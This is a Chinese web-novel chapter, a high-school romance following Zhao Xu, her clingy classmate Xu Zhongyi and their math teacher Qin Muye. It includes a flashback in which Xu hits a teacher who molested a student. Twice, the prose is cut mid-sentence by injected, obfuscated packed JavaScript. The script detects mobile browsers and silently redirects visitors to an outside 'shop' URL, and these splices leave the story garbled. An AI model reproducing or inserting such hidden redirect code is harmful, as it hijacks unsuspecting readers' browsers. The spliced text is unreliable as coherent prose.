副驾驶坐的不是别人,是徐董事长的情人,在附近的大学读研究生。 徐仲仪平时一个人住在学校附近,也就是昨天临时有事回了趟家,不然以他们父子不算太熟的关系,他才不愿意上赶着去找,更不忍看亲爹怎么祸害小姑娘。 所以他时常会想,他那个爸连比自己小二十岁的女生都不放过,真他爹的禽.兽! 就像现在,禽.兽且抠门,也不给人家单独安排辆车! 话刚说完,车里却没有人搭腔。 徐仲仪长得就挺劲儿劲儿的,说话也不走心,但这话落在旁人耳朵里,多了些冷嘲热讽的效果。 作为打工人的陈司机哪敢多言?左怕得罪董事长独生子,右怕得罪董事长枕边人。 坐在副驾驶的谈箬,淡然处之,浅声道:“我上午没有课,不要紧的。” 徐仲仪并不回应,接着看窗外的景,想起昨晚父子的对话,眸色深沉。 家里的打算,是想高三就把他送到英国去。 对于这个提议,他其实是矛盾的。他的父母在他很小的时候就离婚了,母亲从此常住英国。 反正他早就看老徐不顺眼很久了,加之在国外不用受亲爹管束,也不是什么坏事……虽然他和母亲的关系也没多亲近,但他一个人独惯了,在哪儿待不是待。 但若是真出了国…… 车子开进了一片林荫大道,在他的眼前洒下一片阴影,徐仲仪眼里的光随之黯然。 是不是就很难再见到她了…… 万一她和别人跑了怎么办…… 徐仲仪就这样静观窗外,慢慢看着世界被树影罩进暗色里……直到一抹柠檬黄,闯进了他的眼帘。 前方不远处的赵栩,明明距离学校有一段距离,却从车里走了下来。 她今天用的是绑了一只小熊的柠檬黄发圈,勉强绕了两道才圈住那惊人的发量,配上内搭的米色高领毛衣,清爽且惬意,少女感十足。 “陈叔叔停车!”徐仲仪把人喊住,突然来精神了。 前一秒还板着张脸,后一秒像一只快乐小狗,从车里弹射出去,三步并一步跑向路对面。 陈司机只是向窗外看了一眼,就连忙收回目光,然后在心里捏了把汗: 好家伙,不愧是父子,喜欢的类型都差不多。 身边坐着的研究生,和窗外那个女生都属于清纯漂亮、纯良无害的类型。 他用余光扫了一眼副驾驶这位不食人间烟火的美人,此时面无表情地看着窗外,不知道在想些什么。 …… 好不容易考试完了,赵栩想纵容自己多睡十分钟,一不小心就睡过了点,早饭都没来得及吃就被妈妈拉上车。 距离学校不远处,有一个早餐摊位,她下车之后就奔着那里去了,没走出去几步,就被人叫住。 赵栩转过头去,微笑着点了点头,寒暄道:“你也要去买早饭吗?” “嗯。”徐仲仪点点头。 其实他在家里已经吃过了,但是不介意再吃一点。 赵栩还念及“绯闻”的事,刻意与他保持距离,不想和他并肩行走,慢了几步;徐仲仪则单肩背着书包,配合她的速度放慢脚步,信步闲庭。 餐车很大,尽管卖饭的学生众多,他们也很快就排到了前面。 徐仲仪浏览了几眼品种多样的餐点,侧着头问:“想吃什么?” “额……”赵栩动了动嘴唇,倒不是选择困难症,而是她和对方没有同行的打算。 这话问的如此自来熟,好像是要连同她的一起买了。 “热狗吧。”赵栩犹豫着回答。 得到答案后,徐仲仪转过身去,“老板,麻烦给我四个热狗,两杯红豆粥,对半分开装。”并不给人说话的机会,扫码付款取餐。 “给。”他把早餐递给赵栩,神态之自然,好像是他应该做的。 “谢谢你。”赵栩略显窘迫地道谢,正打算拿出手机转钱,听到了身旁的议论声。 一名同学压低声音,惊讶地说:“他们原来真是一对~救人还就出感情了。” 另一个人尤为激动:“体育生和学霸乖乖女,什么小说配置~” 赵栩佯装没有听见,接着低头操作手机,实际上逐渐加快脚步,气冲冲地朝着校门口走去。 “慢点!粥会洒的!”虽然两人的议论在徐仲仪听来很是受用,但没乐多久,女生就远离他而去,他只能跟在后面。 赵栩转过身去,勉强笑笑:“我突然想起来英语作业还没写完,先走了。”然后顾不上去看身后之人的表情,借机独自离开。 徐仲仪还在状况外,伸手欲挽留,才迈出一步,就被关毅拉住。 “徐哥,人家赵栩不想和你一起走,你也该适当保持点距离。” 徐仲仪很是纳闷:“为什么啊?” “哼哼。” 对于此人的愚蠢,关毅唯有用冷笑回应,“我如果是赵栩,要不是看你还有几分姿色,就你这股黏糊劲儿,谁看你都得躲着走。” …… 进校门的时候,赵栩总觉得周遭怪怪的,似乎有人提及自己的名字,不过她也没做停留,只是一股脑往前走。 看到前方那个修长挺拔的背影,她思前想后,还是打算越过他。 “秦老师好!”赵栩行至他的身旁,放慢脚步。注意到他拿着一盒豆浆,忍不住提醒:“老师,您以后别喝这家的豆浆了。” 她其实是想说,这家豆浆曾被曝出添加剂过量,少喝为好。 “嗯。”秦暮野侧头看向她,点头浅笑。 他的唇形明显,阳光照耀下之下,显得嘴唇分外红润,弱化了那份不可靠近的距离感。 “老……老师再见。”赵栩把眼神从那抹刺眼的红色上移开,转身的刹那忽觉腿疼。 许是方才走的过于着急,腿部的血液上涌,使得心脏的跳动蓦然加快,声音不规则地敲击在她的耳畔。 秦暮野微微愣神,想到那莫名认真的语气,端详着手里的豆浆,认真看起了配料表,不免疑惑。 “老师好!” “老师好!” “你们好。” 秦暮野看着急急忙忙的两人,也猜到他们是尾随赵栩而去的。 关毅盯着老师手里的豆浆杯,犹疑地说:“老师,别喝豆浆了。” “怎么了?”秦暮野再次察看盒子,企图看出这其中的玄机。 怎么一个两个的,都不让他喝? 愣了几秒,关毅终于鼓起勇气,支支吾吾地说:“豆浆杀……” “说什么呢你!”徐仲仪赶忙去捂他的嘴,“当老师的面说什么呢!” 接着看热闹不嫌事大,补充说明:“科学证明,抽烟喝酒熬夜久坐才会导致!” 烟酒不沾、但偶尔熬夜,时常久坐的秦暮野,一时间无言以对,那张清冷睿智的脸上,难得出现与之相异的无语。 尽管他这个人还算好说话的,可同时被三个学生调侃,终究有些尴尬。 “好,谢谢你们。”他保持着礼貌微笑,迈着长腿阔步离去。 转过身去的刹那,笑容慢慢消失,一边走路,一边把吸管插.进豆浆盒里,赌气似的喝了两口。 …… 期中考试完后的体育课上,小姐妹三人不约而同,都没带学习用品,解散之后就顺着跑道在操场上遛弯。 运动会即将到来,学生们有意识地在操场上开始训练。 韩明月盯着起跑线处的几名体育生,从肱二头肌到结实的小腿,目不转睛。 如果视线能化作实形,他们可能已经是刺身了。 “差不多行了啊。”朱临清把人捞走,轻笑道:“你不是不喜欢练体育的吗?说看起来四肢发达。” 韩明月恋恋不舍地收回目光,不禁提高声音:“我看看还不行嘛!你清高!你柳下惠!”然后装模作样地严肃起来:“他们如何能和我的男神相提并论!” “滚滚滚。” 朱临清笑骂她一句,而后和赵栩相视一笑。 她们在操场上遛弯,迎面跑来两个男生,赵栩不过瞥了一眼就认出…… 正是那天把她撞下楼梯的元凶,笑容立即消失,忙把头别向一边。 两个男生也认出了赵栩,不约而同停下脚步,讪讪地笑着,然后站定原处,毕恭毕敬地问好: “栩姐好!” “他们……” 赵栩蹙起眉头,不忿地看向两个跑走的身影,张了张嘴,忍下不快笑了笑:“别理他们。” 这话乍一听比较奇怪,细思之后更加奇怪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵栩先是愣在原地,待反应过来后,气得笑出了声,一股闷气憋在胸膛,讲不出话来。 良久,她才从唇缝里挤出一句话: “神经病。” …… 为了视频的事,整整一周赵栩对于徐仲仪都是能躲则躲。 要为她为什么不当面问个清楚,是因为她认为没有这个必要,他们又不是什么关系很好的同学,对方的行为在她看来就是背刺,她也没必要给他什么好脸色看。 周六最后一节自习课结束了,赵栩晚上还要上网课,就先行一步,为了快点出校门,她选择了人少的小楼梯。 当她走到一楼时,被一个高大壮实的身影拦下。 赵栩不想理他,没多给一个眼神,直接往右边走。 她往右走,徐仲仪则向右迈了一步,健硕的身子把她的去路挡得严严实实。 “你有事吗?”赵栩神色冷淡,眉头蹙起,显示出她的不耐烦。 徐仲仪想要与她平视,身子微微前倾,试探般地问:“可能是我的错觉,我总觉得这个周你都在躲我……” 赵栩神色淡淡,眸中里尽是不屑,“你自己干了什么,你自己清楚!” 趁对方出神的功夫,她不欲多废话,轻轻把人推开,想要从空档中出去。 徐仲仪的发射弧再长,都该明白过来怎么回事。面对女孩的冷漠,他的心里就像被撇去一块最柔软的位置,让他忍不住低三下四。 “对不起……”他怕失去解释的机会,慌乱中握住了她的手臂。 女孩的小臂很细,一只手就能拢过来。 赵栩震惊到忘记了言语,阖上眼睛深吸一口气,眼里的光都伴随着怒意微微抖动。 男生距离她还有两步的距离,可是莫名的压迫感,随着体温与洗衣粉味,环绕而来,压得她动弹不得。 仿佛他们接触的地方沾了什么肮脏的东西,一股激烈的厌恶翻涌在她的胸腔,赵栩忍了又忍,才没有给他一拳。 徐仲仪此刻并不知道,赵栩对他的反感情绪到达了顶峰。只是一门心思想求得她的原谅,而他偏偏又是个嘴笨的人,只能用肢体去表达挽留的情绪。 许是赵栩的错觉,她似乎看到对方眼里流露出的哀色,好像她不听其解释,对方就要纠缠到底。 从二楼办公室往外走的秦暮野,提着一箱子邮寄而来的豆浆,刚下了几级台阶,就发现下方一男一女牵着手。 学生谈恋爱这种事,他虽然不支持,但也不反对,所以权当没看见。 又迈下两级台阶,他才看清了两个学生的脸。 天色渐晚,正好到了晚上六点,芝麻糊般的浮云彻底没入黑夜,走廊的灯忽然亮起。 秦暮野本就站在暗处里,黑沉沉的眸子,闪过错愕。 他也忘记当时到底发生了什么,只是忽然感觉到手上一轻。 原来豆浆箱子的提手处,突然断了。 接着发出一声巨响,箱子轰然坠地,并轱辘轱辘翻了几回,摔在一楼和二楼的交界平台上。 21. 遇见你之前(3) 装满20盒豆浆的箱子,其重量不亚于两颗铅球,咣当一下砸在地上,把状态之外的赵栩吓了一大跳。 她隐有不祥的预感,慢慢抬起头,错过台阶的高度,直达那双藏于暗处的眼睛。 说不出的慌张占据了她的心,此时的赵栩像个做错事的孩子,不知该如何自处。 趁着徐仲仪愣住,她用力甩开对方的手,踏着朦胧的夜色奔逃而去。 她可能不知道,在身后两人的眼里,她的背影有多慌乱。 留在原处的,是剪不断的理还乱。 徐仲仪知道自己闯了大祸,偏生楼梯上的人缓缓而下,鞋底踏在楼梯间的声音分外明晰,像是暴风雨的前奏,有着说不出的沉闷,让人心虚不已。 “在谈恋爱?”秦暮野走到学生身边,若无其事,如同知心大哥哥般询问。 徐仲仪眼神空洞,摇摇头,“没有。” 那不算灵光的脑袋飞速运转,在电光火石间得到了指引,他向老师道别,然后发挥体育生的长处,卯足了劲儿飞奔去追。 …… 学校里的人都走得差不多了,故而赵栩畅通无阻跑出了校门一段距离,确定身后没人追来,她俯下身子,双手压在腿上喘着粗气。 为着有段时间没运动了,又背着个大书包,她的腿部有些酸疼,脸颊也微微泛红。 不过说来说去,她认为自己今天真是流年不利! 莫名其妙被人缠上了,还被老师误会…… 赵栩复盘着一天的倒霉事,越想越气,腰背逐渐挺直,抬头看向天空。 今晚天空阴云散落,月亮的清辉被阴霾尽数遮掩,数的过来的几颗星星,一不留神就偷偷藏了起来。 恰逢晚风吹拂,携来对面小吃街的油烟味,尤其是烤冷面的煎鸡蛋味,穿过对街,被人的嗅觉无限放大。 说不上难闻,但实实在在把赵栩闻饿了。 置身烟火气中,她暂时忘记了烦心事,眉头逐渐松开,想着去对面买个烤冷面,先把肚子填填,就去上补习班。 赵栩往前走了两步,在观望红绿灯,准备过马路的时候,忽然有一只轻佻的手,搭了她的肩头。 随之而来的,是呛鼻的二手烟。 “美女,怎么又是你一个人。” 沙哑的声音自耳边响起,烟草的臭味熏得她直皱眉,赵栩没有转头去看身边之人是谁,但强烈的不安及时唤醒了第六感,她的动作比想法快,用尽力气把人推开。 原来在学校里不是最倒霉的,最晦气的还在校外等着她。 赵栩耸了耸肩,企图抖掉上面的脏东西,陡然想起,他是那天在海洋馆骚扰自己的小混混。 黄毛把手里的烟丢到地上踩灭,和身后几个男生调笑着说:“徐仲仪那个混蛋是走了什么狗屎运,咱区的高中职校加起来,都找不出比她好看的。” “你们找他有什么事吗?”赵栩不耐烦地大声问。 反正她也是受连累的,本想一走了之,但思及有上次就有下次,索性把事情解决了。 至于她是替别人背锅的,就只能自认倒霉了。 黄毛牙切齿地说:“刚开学的时候,他的小弟在学校里把我打了。” “他为什么打你,你也有问题吧?”赵栩不禁幸灾乐祸。 黄毛有些疑惑:“他的事你是一点都不知道?” 赵栩不屑一笑,心想她才是最冤枉的人,被一个两个神金缠上。 恶心得她必须回去好好洗个澡。 “反正时间还早,我就和你分享一下。”黄毛又点了一根烟,吞云吐雾,笑了笑,“我想想啊,从哪儿开始说……” 他还没说完,就被猛推了一把,对方下手极重,推得黄毛倒退三步,若非有人搀扶,可能要仰倒在地上。 徐仲仪挡在赵栩身前,满身的戾气无处安放,眼神里是掩盖不住的阴冷。 “我给你三个数,立马滚。”他轻启嘴唇,吐露出的声音让人不寒而栗。 黄毛踉跄了几步,才勉强站稳,由于身高和气场对比悬殊,他对于徐仲仪还是有点惧怕的。 在小跟班的搀扶下,他又来了精神,开始挑衅:“你觉得我怕你吗?” “看来你女朋友是什么都不知道啊,你不会还维护什么乖学生人设吧?” 听到这里,徐仲仪呼吸顿时有些不稳,以黑夜为盖,竭力掩饰眼底的失措,可还是被对方抓住了马脚。 黄毛眼见打不过,索性撕破脸指着他,一字一句地说:“他初二的时候,因为把老师打伤被退学,要不是他爸找关系,估计就要进少管所了。” “不是这样的!”徐仲仪哑着嗓子打断,眼尾发红。 他转过身去,用近乎乞求的眼神,望着赵栩的眼睛,解释道:“我不是那样的人,你相信……” 还没说完,他的手臂就挨了一拳。 原来是黄毛趁他转身的功夫,就算长得不高,也要不讲武德搞偷袭。 这一拳,对长了一身腱子肉的徐仲仪来说倒是无足轻重,他只是蹙了蹙眉头。 可看到赵栩阻拦不及,惊慌担忧的表情,他心中一丝窃喜飘过,同时戏瘾忽至,令其忽然蹲了下去。 “疼……”徐仲仪捂着肩膀,蹲在地上,眼巴巴地仰视赵栩,甚至还挤出了若有若无的泪光。 这一蹲,让在场几人都傻了眼。 黄毛则是差点以为自己锤在铁板上了,捂着手暗暗叫疼的同时,不敢相信,他这一拳居然把雷打不动的大哥给打倒了。 惊喜之余未免担忧,会不会被他的同伙报复。 在旁的赵栩信以为真,蹲下来轻声关心:“没事吧?要不要我带你去医院。” “好……”徐仲仪乖巧地点点头,一边还不忘咬着嘴唇,装出很痛的样子。 站在他们身后的一众人感到被忽略了,黄毛质问道:“姓徐的,别装死……”还没说完,他的后领就被抓住,再抬眼一看,是一个高得出众的男子,正拎小鸡仔似的拽着他的领子。 秦暮野揪着他的领子,也没事太大力气,利用身高优势把人往上提了提。 “都这么晚了,早点回家吧。” 他的嗓音低沉,落在几个小混混耳朵里,有着极强的威慑力。 黄毛自觉屈辱,还想讨价还价,却被提得更高,两只脚都快要离开地面的时候,终于老实了。 眼见徐仲仪的“同伙”更是个不好惹的,他带的这帮小弟色厉内荏,怎么能打得过这两个健硕的人,于是灰溜溜地带着人跑了。 “秦老师。” 赵栩用求助的目光看向他,“徐仲仪好像受伤了,我们带他去医院看看吧。” 秦暮野刚想俯下身查看情况,徐仲仪却像没事儿人似的,腾一下站了起来,笑了笑,“老师我没事。” 不能和赵栩单独去医院,他装这个病有什么意义? “谢谢秦老师。”徐仲仪活动了活动胳膊,和他致谢。 看到人没事,秦暮野才算放下心来,温声叮嘱:“以后遇到这种事不要自己解决,记得求助大人。” “好。”徐仲仪应下,然后眼含笑意问身旁的赵栩,“我们要不然和老师一起去吃个饭,表达一下感谢。” 赵栩十分不解,拒绝的话也说不出口,有一种自己被道德绑架的感觉。 以及,她怎么就和徐仲仪成为了“我们”?? 姓徐的挑担子一头热,单方面套路人,剩下两人半推半就地在他的指引下,开车来到了学校附近的日料店。 此时正值饭点,一推开门,碳水混合的生鲜的独特香气扑面而来,古筝电音萦绕耳畔,音色醇厚古雅,仿佛拨动琴弦时,指尖抚落的樱花。 他们挤进生意火热、却不算吵闹的餐厅,寻了靠窗的位置坐下,开始点餐。 “这什么歌啊?怪好听的。”徐仲仪点餐的时候,也不忘笑嘻嘻地和身边人搭话。 “栀晚鸢乱。”赵栩划过菜单,手上动作一顿,不为所动。 倒不是她对徐仲仪有什么意见,只是她实在是肚子饿了,现在满门心思都在点单上,不一会儿的功夫,她已经点了猪排饭、蛋卷、烤鳗鱼。 赵栩又打开购物单,发现秦暮野比她点的还多,肉串、三文鱼拌饭、寿喜烧饭、刺身拼盘、炸物拼盘、鹅肝……加起来已经快超过了七百元。 “老师老师,您不用点那么多,吃不完。”她连忙阻止。 这家日料虽然不是什么高消费的店铺,可点多了终究烧钱。 秦暮野倒是无所谓:“你们只管吃就行,我买单。” 两个学生共同表示:这多不好意思。 “刚发的工资,不用替我省钱。” 他生怕学生们不够吃,又多加了两个菜。 边选着菜,秦暮野察觉到了对面徐仲仪的躁动不安,仿佛有话要说,但都碍于自己在场又忍了回去,于是点完菜后,识趣地站了起来,叮嘱道:“我去趟洗手间,菜上来了你们先吃就行。” 待老师离开后,徐仲仪满腔的话终于有机会宣泄。 “那个……我初中的时候打老师,是有原因的。”他艰难地开口,一张俊脸都憋红了 “你说吧,我听着。”赵栩转向他,洗耳恭听。 念在方才徐仲仪方才替她解围,以及他从前的帮忙之举,她不认为对方是个无可救药的坏人,倒也想听一听,究竟是个什么原因。 徐仲仪喝了口水,深深吸气,拿出做演讲的态度,认真地盯着她的眼睛。 一秒,两秒,三秒~男孩的眉梢被小鸟啄乐一口,迅速揪到一起,好不滑稽。 赵栩刚严肃了几秒,就迅速破了防,掩着嘴笑,“抱歉……” 每当面前这个痞里痞气的男孩装乖,锐利的浓眉就要拐几个弯,有种蜡笔小新的即视感。 女孩清脆的笑声仿佛初融的冰雪,雪水顺着冰锥滴下,唤醒了藏于浮冰下的残荷,生长出了只属于他的春天。 让他忘了紧张,却失了魂魄。 徐仲仪忽觉幸福来的有点突然,手脚都不知道要往哪里放,脑中凌乱的逻辑却被理顺清楚。 “那个……我们初中那个班主任,他就是个变态。” 听到这话,赵栩神色微怔,脸上的笑容逐渐消失。 徐仲仪摸摸头,怕吓着对方,只得委婉地说:“那天我去办公室找他,亲眼看见他把手伸进女生的衣服里。” “我一个没忍住,就把他打了。” 他语气平平,不自觉地捏起桌上的毛巾,手臂上脉络分外明显。毛巾原本质软,却像是要捏碎在他的手心里。 往事讲到这里,赵栩垂下眼眸,陷入沉思。 与其说,是有意想逃开他的目光;不如说,更想逃离曾经的自己。 此时服务员端上炸物拼盘和三文鱼拌饭,闻到油炸的气味,不知名的恶心堵在胸口,让她下意识捂住了嘴。 “你没事吧?”徐仲仪望着她泛红的眼睛,有些担忧,自责地说:“是不是我刚才说的话吓着你了。” 赵栩喝了一口大麦茶,压下胸腔的不适感,笑着摇摇头,“可能饿久了。” 菜很快就上齐了,而秦暮野也算好了时间,提着一袋子药回来了,把袋子放在徐仲仪跟前。 “一些治外伤的,回家记得涂上。” 徐仲仪嘴里还塞着蛋卷,咽下去后,起身道谢。 秦暮野点点头,却并不着急吃饭,帮两个学生把见底的茶杯续上水,然后带上手套把牡蛎撬开,方便他们食用。 桌上看似有很多道菜,其实盘子的体积占了一大半,吃几口就没有了。 赵栩对炸鸡情有独钟,吃起来丝毫没有面衣的厚重感,酥脆的表层入口即化,鸡肉滑嫩脆爽。尽管戴着手套,可是半张脸大的炸鸡还是不免蹭到了手腕,唯有小心再小心,才不会沾到手链上。 只是她唯一不理解的是,为什么炸鸡盘要用干香菜点缀,她面露嫌弃,捏着香菜叶,这个麻烦丢在了纸巾上。 没有了香菜污染的炸鸡,才是好炸鸡。 啃炸鸡的功夫,她的余光扫到斜对面的数学老师,不由得放慢了干饭的速度。 就算隔着塑料手套,都不难看出,那是一双极为好看的手,修长如玉,白皙骨感,尤其在撬起牡蛎壳时,手指微微用力,连带着小臂处的青筋凸显,极富力量感。 秦暮野没注意到来自对桌的视线,剥完一盆牡蛎后,从容地摘下手套,正要拿起筷子吃饭,服务生又上了一杯姜汁汽水。 那是赵栩点的,她本想抬手去拿,戴着沾满油的手套,一时顿住了。 秦暮野的视线转了个来回,把汽水放到她的面前,又怕她喝起来不方便,拆开一条吸管,放到汽水当中。 递过去杯子的刹那,淡橙色的灯光洒在他的手背上,从赵栩的角度看去,他像是轻轻拿捏了杯中的气泡,并在不经意间碰碎。 再多看一秒,就会在她的眼里溅起点点波纹。 “秦老师您这牡蛎剥得真好,您脱单之后,我们是不是就没这个待遇了?”徐仲仪大着胆子打趣老师。 不合时宜的发言,打断了赵栩心中刚酝酿的轻歌,不设防地被拨起了一根弦,重重挑起,轻轻放下。 面对这番调侃,秦暮野故作肃然,桃花眼中掠过笑意,顺着他的话说:“你的意思难道是,在我找到女朋友之前,可以随时蹭我的饭?” 这话说得认真,又像是在一本正经地开玩笑。 这一刻,旁听的赵栩忽然不想听他们的对话了,安静地注视着窗外,左耳传来隐约的喧闹声,右耳是店内的音乐,但又都听得不够真切。 隔着玻璃的行人匆匆而过,都是路过世界的过客,留不住也没什么可惜的。 可是面前的姜汁汽水,她却想再多喝一口,等她什么时候喝腻了,再撤走也不迟。 …… 吃完饭后,秦暮野提出要送两个学生回家,却被徐仲仪婉拒: “我的房子就在附近,老师您送赵栩回家就行。” 本来今晚在外面就耽误了不少时间,网课也快开始了,赵栩就没有客气,待目送徐仲仪走远后,下意识走到车子旁边。 当她把手摸上副驾驶的把手,才意识到不妥,小声道歉:“不好意思,我去后面。” 秦暮野不以为意,“前后都是一样的,坐前面就行。” 得到允许后,赵栩迅即拉开车门,有了上次的经验,轻车熟路,系上安全带,以一种放松的姿势倚在靠背上。 该说不说,人吃饱之后才是最幸福的,她嗅着车内好闻的薄荷香,清新的分子扩散开来,似乎可以生长每一个角落,让她感到无比舒适,仿佛一天的疲惫都被洗涤殆尽。 再加上刚吃完饭,血糖有点高,很快困意袭来,赵栩在放松的同时,眼皮也像磁铁的正负两极,慢慢的慢慢的,就吸到了一起…… 在闭上眼睛的前一秒,她暗自想到: 刚吃完饭就睡觉,好幸福。 如果能不用上网课,就更幸福了。 奔驰车像是从黑夜中生生剥离,下一秒就驶入了华灯初上的街区,秦暮野听到均匀的呼吸声,心领神会,切换了一首悠扬的曲目。 “timeforeverfrozenstill……” 时间仿佛就此冻结。 这是他很喜欢的电影的片尾曲,秦暮野专心开车,心无杂念地聆听着音乐,以另一种方式放空自我,寻求闲暇。 车轮轧过音符,好似时间都被缩短了许多,车子很快就开到了赵栩家所在的小区,他刚把车停下,身旁就传来含糊不清的声音: “遇见你之前。” 赵栩睡了一路,刚睁开眼就听到悦耳的音乐,惺忪的睡眼里盛满了笑意。 秦暮野眉心微动,轻声提醒:“到了。” 许是身处密闭环境,赵栩仍觉得昏昏沉沉的,脸也发烫,甚至怀疑姜汁汽水里是不是掺了酒精。 她揉了揉眼睛,指着车窗外,头脑不甚清醒。 “上次我们在咖啡厅旁边不是遇见过一个精神病患吗。” “我在小区门口,也被他骚扰过。” 她说这话时,神态云淡风轻,不像是提及什么可怕的回忆,倒像是在同他闲话家常。 秦暮野原本平视前方,闻言稍稍移神,那双墨色的眼睛映于黑夜里,显得格外深沉。 过了几秒,他缓声说道:“要是实在不放心,我就在这里一直等着,等你回家了我再走。” 他的声线里没有任何多余的情感,可是在赵栩听来,却像是停靠在了一处亦柔亦刚的港湾里,说不出的心安。 “嗯,谢谢您。” 赵栩得到了“承诺”,也不好在车上待太久,便下了车,冲着车窗里的人挥手道别。 天空残存的阴云已经散尽,满月是今夜最后的仪式,苍白冷淡,却温柔可爱。 赵栩前一秒想捕捉手心的皎洁,下一秒却忍不住回头,发现车辆还停在那里,又继续向前走,不过是慢慢放缓步伐。 如果可以,她想慢一点走到尽头。 也许是她还没睡醒,汽水的后劲又比较足,小气泡咕嘟咕嘟,碰撞在她发烫的脸颊。 赵栩强忍着好奇心,没有再次回头,而是逆着月夜,消失在拐角处,然后奋力奔跑。 夜风恰好撞进她的怀里,擦肩而过之际,又带走了她的心事: [请为我拂去俗世的尘,让我毫无保留地拥抱月光。] …… *彩蛋-徐仲仪的故事 徐仲仪是个心挺大的人,至少忘性很大。 昨天讲的数学公式,今天就忘了。 昨天和哪个兄弟闹矛盾,今天就又搂着人家的肩膀和好如初了。 初中的生活对他来说,平淡得就像他的作文水平那样,能胡诌出千万本流水账,却愣是翻不出一页好词好句。 他忘记了所有人,所有事,包括那个被他打进医院的老师。 可唯独有一个人,是他想忘也忘不掉的。 纵然徐仲仪对生活没有什么感悟,偶尔也会想一个深刻的问题: 他那个不太灵光的大脑,容量其实不大。可偏偏把赵栩记得一清二楚,甚至连她的脸上有几颗痣都了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641030|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然于心。 由此可得,能量是守恒的。 徐仲仪会梦回初三的那个晚上千万遍。 无数次难忘,势必会会带来……无数次心动。 定海市是沿海城市,可是入了深冬后,依旧伸不出手。 那晚在徐仲仪的回忆里,更是冷得让人心死。 因为被他打的那个老师,背后有着错综复杂的关系,且被骚扰女孩的家庭,又不知出于什么原因,答应了不参与指认。再加上没有什么切实的证据,一切都是空说无凭。 所以一桩猥.亵案,就以“老师不小心触碰”轻轻翻过。而伸张正义的徐仲仪,却就此被贴上暴力的标签,有口难言。 徐仲仪早晨来的警局,经过了一天的折腾,父亲徐忡找了一些关系,他才没有进少管所,离开的时候,已经快晚上九点了。 他背着书包,垂头丧气地走出警局,越想越不服: 凭什么这种畜生没法受到惩罚?? “小少爷,小少爷。” 徐家的郭管家快步追上来,关切地问:“饿不饿?我带你去吃点东西吧。” 徐仲仪揉了揉发酸的眼睛,哑着嗓子问:“我爸今天来接我回家吗?” 问出这话时,他其实怀有小小的期待。 虽然他清楚地知道,这份期待大概率会落空。 “这……”郭管家面露难色,都不敢看对方的眼睛。 他怎么忍心说,徐董正在应酬,抽不开身。 寒冷轻易冻结了夜色,随之为男孩的眼眸覆上一层霜。 答案已经昭然若揭,徐仲仪换了个站姿,嘴角扬起一丝苦涩的笑,又问:“我妈知道了吗?” “她怎么说?”提到在国外的妈妈,他直直地盯着管家,语气带了些着急的期许。 “夫人她……”郭管家愈发不敢与之对视,声音渐渐低了下去,“她说……知道了。” 置身鲜有人烟的街道上,冷风如若无人之境,灌入肺腑,呛得他轻咳了几声。 胸腔里的空气交换了几次,他只尝得出苦味。 “就这样?” 男孩的眼里似乎在笑,只是寒风如同无形的刀子,有意无意刮过他的眼尾,在昏暗的灯光下,红得惊心动魄。 更是一刀一刀,在那颗本就布满划痕的脆弱之处,错开刀锋,撇去血肉便可见白骨。 痛彻心扉的感觉,仿佛在多次提醒他: 这个世界上,没人爱他。 徐仲仪生平第一次感受到了什么叫狼狈,就是迎着月亮,奋力出逃。 不顾身后之人的劝阻,只一味的逃避。 逆着呼啸而过的冷风奔跑,于他而言也是一场彻头彻尾的发泄,仿佛只要跑的够快,悲伤就永远追不上他。 也算是一种精神胜利法,阿徐。 他这样告诉自己。 可是跑到拐角处,忽然闪出一个女生的身影,徐仲仪又怀揣心事,等反应过来时,还有几步就要撞上了。 为了不撞到对方,他选择了将重心侧移,在女孩的惊呼声中,侧身摔倒在地。 饶是徐仲仪那身腱子肉硬得像铁锤,就这么和甩葱似的砸在地上,也会隐隐作痛。 虽说胳膊疼不敌心痛,可是多种情绪夹杂在一起,也会冲垮最后一道防线。 他捂着胳膊,说不出哪里疼,但就是疼得厉害。 待反醒过来,泪痕已经布满了那张倔强的脸。 “请问,你没事吧?” 赵栩蹲在他身边,借着路灯仔细查看他的情况,又听到了细微的哭声,让她更为担忧。 徐仲仪心想自己真是倒霉透了,父母不管他不说,他还突然摔到在地,如此不雅。 这也就算了,关键还被女孩撞见他哭的样子。 “能站起来吗?”赵栩柔声询问,为了认真观察,贴近了对方的脸。 清甜的桃子香扑面而来,徐仲仪愣了愣,突然忘记了疼痛的来源,怔怔地望着女生。 他也算抗造牌的,并没有什么大事,在女孩担忧的注视之下,大狗似的光速爬了起来,而后立正站好。 赵栩端详片刻,忍着笑意,从小挎包里抽出酒精湿巾递给他,“擦擦吧,你的脸脏了。” 男孩脸颊边还有未擦干的泪水,亦沾染了泥土,搅得一张帅脸看起来滑稽至极。 徐仲仪用手蹭了一把,手背上擦下泥土,倍感尴尬,低头接过湿巾。 “谢谢。” 他胡乱地抹了两下,就打算转身离开。 “等……一下。”赵栩叫住了他,眼神躲闪。 这个奇怪又爱哭的男生,长得有些许攻击力,看着就挺能打的。在她心里已然和“不良少年”划上等号,要是放在平日,她肯定躲着这种人走。 只是今晚对着月光,她莫名觉得他很可怜。就算是他摔倒有自己的原因,她也表示一下关心。 虽然她一想到他躺在地上哭,就忍不住腹诽: 白长那么大高个…… 徐仲仪转过身来,望着她怯生生的脸。吹着冬夜里变奏的微风,他的眼神忽然软了下来。 她长得还挺好看的。 尤其是一双小鹿似的眼睛,明亮有神,猝不及防闯入了他的世界。 “你的胳膊没事吧?”赵栩指了指他壮实的胳膊。 虽然看起来就像没事。 徐仲仪摸了摸头发,却不小心蹭到了微热的脸,眸光加深了几分。 “有事。” 赵栩怀疑他在碰瓷,可是问出去的话断然没有收回的可能,她皱起眉头,陷入沉思。 徐仲仪眯起双眼,耐心生出不少,等待着她下一步的回答。 